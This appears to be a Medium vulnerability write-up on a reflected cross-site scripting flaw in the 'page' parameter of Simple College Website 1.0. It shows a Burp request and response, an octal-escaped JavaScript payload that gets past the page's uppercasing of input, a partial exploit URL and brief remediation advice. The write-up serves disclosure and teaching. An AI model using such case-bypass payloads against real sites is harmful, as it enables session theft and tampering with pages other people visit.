

[Open in app](#)[Get started](#)

gowthamaraj(@fuffsec)

[Follow](#)

Sep 4 · 2 min read · [Listen](#)



Save



## Simple College Website 1.0 — XSS

Simple College Website 1.0 allows a user to perform a **Reflected Cross-site scripting** via `/college_website/index.php?page=` when sending Javascript code to the “page” parameter.

Vendor Homepage: <https://www.sourcecodester.com/php/14548/simple-college-website-using-htmlphpmysqli-source-code.html>

Source Code:

<https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-college-website.zip>





Open in app

Get started



Photo by [Muha Ajjan](#) on [Unsplash](#)

## Identification

When i sent a random text to the endpoint “/college\_website/index.php?page=<random\_text>”, i observed that it was added to the response HTML without any encoding.



[Open in app](#)[Get started](#)

Proxy	Raw	Hex	Proxy	Raw	Hex	Render
1	GET /college_website/index.php?page=purple_foxy HTTP/1.1		133			
2	Host: 20.169.68.2		134	</div>		
3	User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0		135	<div class="carousel-item">		
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8		136			
5	Accept-Language: en-US,en;q=0.5		137	</div>		
6	Accept-Encoding: gzip, deflate		138	<div class="carousel-item">		
7	Connection: close		139			
8	Cookie: PHPSESSID=ppSi2vdbw479bhhue4tllho1d0		140	</div>		
9	Upgrade-Insecure-Requests: 1		141	<div class="carousel-item">		
10			142			
11			143	</div>		
			144	</div>		
			145	</div>		
			146	<div class="container h-100">		
			147	<div class="row h-100 align-items-center justify-content-center text-center">		
			148	<div class="col-lg-8 align-self-end mb-4 page-title">		
			149	<h3 class="text-white">		
			150	PURPLE FOX		
			151	</h3>		
			152	<hr class="divider my-4" />		
			153	</div>		
			154	</div>		

Burp Req/Res

## Hacking

From the Response of the Burp, i could see that the injection point output is capitalised. This would cause some trouble with executing the Javascript payload as it is case sensitive.

After a good amount of search and research, i came with the following payload.

```
[ ] [ "\146\151\154\164\145\162" ]
[ "\143\157\156\163\164\162\165\143\164\157\162" ]
( "\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\12
1\157\115\123\153\75\42\51\51" ) ( )
```

Thanks to the blog <https://en.qdmana.com/2022/188/202207070757366180.html>.

Final url with payload:

```
http://<domain>/college_website/index.php?page=<script>[ ]
[ "\146\151\154\164\145\162" ]
[ "\143\157\156\163\164\162\165\143\164\157\162" ]
( "\145\166\141\154\50\141\164\157\142\50\42\131\127\170\154\143\156\12
```





[Open in app](#)

[Get started](#)

20.169.68.2 says

1

OK

Script execution

## Remediation

1. Filter input on arrival.
2. Encode data on output.

[About](#) [Help](#) [Terms](#) [Privacy](#)

Get the Medium app

